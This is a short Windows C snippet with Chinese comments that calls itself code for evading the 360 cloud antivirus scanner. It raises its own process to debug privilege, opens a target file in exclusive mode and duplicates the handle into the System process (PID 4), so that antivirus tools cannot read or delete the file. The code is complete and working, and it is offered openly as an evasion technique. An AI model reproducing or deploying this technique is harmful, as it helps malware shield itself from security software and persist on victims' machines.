/*————————————————————————————————*/
//过360云查杀的代码
void RaiseToDebugP()
{
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )
{
   TOKEN_PRIVILEGES tkp;
   if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) )
   {
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  
    BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ;
   }
   CloseHandle(hToken);
}  
}
BOOL OccupyFile(LPCTSTR lpFileName)
{

BOOL    bRet;
//提升自身权限
RaiseToDebugP();
//打开一个pid为4的进程，只要是存在的进程，都可以
HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);    // 4为system进程号

if ( hProcess == NULL )
{        
   return FALSE;
}

HANDLE hFile;
HANDLE hTargetHandle;
//以独占模式打开目标文件
hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);

if ( hFile == INVALID_HANDLE_VALUE )
{
   CloseHandle( hProcess );
   return FALSE;
}

//把文件句柄复制到pid=4的进程中去，这样，只要pid=4的进程不退出，谁也动不了目标文件
bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,
   0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);

CloseHandle( hProcess );
return bRet;
}
/*————————————————————————————————*/